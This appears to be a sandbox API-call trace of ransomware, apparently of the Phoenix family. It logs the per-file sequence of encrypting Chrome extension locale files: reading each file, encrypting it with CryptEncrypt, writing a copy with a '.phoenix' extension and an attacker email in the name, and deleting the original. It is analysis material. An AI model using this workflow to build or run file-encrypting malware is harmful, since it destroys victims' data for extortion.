	[0264.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\es\\messages.json")) returned 0x20
	[0264.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\es\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\es\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.566] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0264.566] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0264.566] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0264.566] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\es\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\es\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0264.567] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151500) returned 1
	[0264.567] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0264.567] ReadFile (in: hFile=0x254, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x404b, lpOverlapped=0x0) returned 1
	[0264.568] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x4050, dwBufLen=0x4050 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x4050) returned 1
	[0264.568] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x4050, lpOverlapped=0x0) returned 1
	[0264.570] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151400) returned 1
	[0264.570] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0264.570] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0264.570] CryptDestroyKey (hKey=0x151400) returned 1
	[0264.570] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0264.570] CryptDestroyKey (hKey=0x151500) returned 1
	[0264.570] CloseHandle (hObject=0x254) returned 1
	[0264.570] CloseHandle (hObject=0x2b0) returned 1
	[0264.570] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\es\\messages.json")) returned 1
	[0264.572] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0264.572] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\et\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0264.572] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=16005) returned 1
	[0264.572] CloseHandle (hObject=0x2b0) returned 1
	[0264.573] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\et\\messages.json")) returned 0x20
	[0264.573] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\et\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\et\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.573] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\et\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0264.573] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0264.573] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0264.573] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\et\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\et\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0264.574] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151100) returned 1
	[0264.574] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0264.574] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x3e85, lpOverlapped=0x0) returned 1
	[0264.689] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x3e90, dwBufLen=0x3e90 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x3e90) returned 1
	[0264.689] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x3e90, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x3e90, lpOverlapped=0x0) returned 1
	[0264.690] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151540) returned 1
	[0264.690] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0264.690] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0264.690] CryptDestroyKey (hKey=0x151540) returned 1
	[0264.690] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0264.690] CryptDestroyKey (hKey=0x151100) returned 1
	[0264.690] CloseHandle (hObject=0x2b0) returned 1
	[0264.690] CloseHandle (hObject=0x254) returned 1
	[0264.690] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\et\\messages.json")) returned 1
	[0264.740] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0264.740] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\gu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\gu\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0264.742] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=20601) returned 1
	[0264.742] CloseHandle (hObject=0x254) returned 1
	[0264.742] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\gu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\gu\\messages.json")) returned 0x20
	[0264.742] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\gu\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\gu\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.742] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\gu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\gu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0264.743] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0264.743] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0264.743] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\gu\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\gu\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0264.743] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151400) returned 1
	[0264.743] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0264.743] ReadFile (in: hFile=0x254, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x5079, lpOverlapped=0x0) returned 1
	[0264.779] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x5080, dwBufLen=0x5080 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x5080) returned 1
	[0264.779] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x5080, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x5080, lpOverlapped=0x0) returned 1
	[0264.780] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151200) returned 1
	[0264.780] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0264.780] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0264.780] CryptDestroyKey (hKey=0x151200) returned 1
	[0264.781] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0264.781] CryptDestroyKey (hKey=0x151400) returned 1
	[0264.781] CloseHandle (hObject=0x254) returned 1
	[0264.781] CloseHandle (hObject=0x2b0) returned 1
	[0264.781] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\gu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\gu\\messages.json")) returned 1
	[0264.782] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0264.782] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0264.782] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=16596) returned 1
	[0264.782] CloseHandle (hObject=0x2b0) returned 1
	[0264.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\hu\\messages.json")) returned 0x20
	[0264.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\hu\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\hu\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.783] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0264.783] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0264.783] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0264.783] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\hu\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\hu\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0264.783] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151540) returned 1
	[0264.783] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0264.783] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x40d4, lpOverlapped=0x0) returned 1
	[0264.800] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40e0, dwBufLen=0x40e0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40e0) returned 1
	[0264.800] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x40e0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x40e0, lpOverlapped=0x0) returned 1
	[0264.801] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1516c0) returned 1
	[0264.801] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0264.801] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0264.801] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0264.801] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0264.801] CryptDestroyKey (hKey=0x151540) returned 1
	[0264.801] CloseHandle (hObject=0x2b0) returned 1
	[0264.801] CloseHandle (hObject=0x254) returned 1
	[0264.801] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\hu\\messages.json")) returned 1
	[0264.802] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0264.802] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\id\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0264.803] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=15958) returned 1
	[0264.803] CloseHandle (hObject=0x254) returned 1
	[0264.803] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\id\\messages.json")) returned 0x20
	[0264.803] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\id\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\id\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.803] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0264.803] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0264.803] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0264.803] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\id\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\id\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
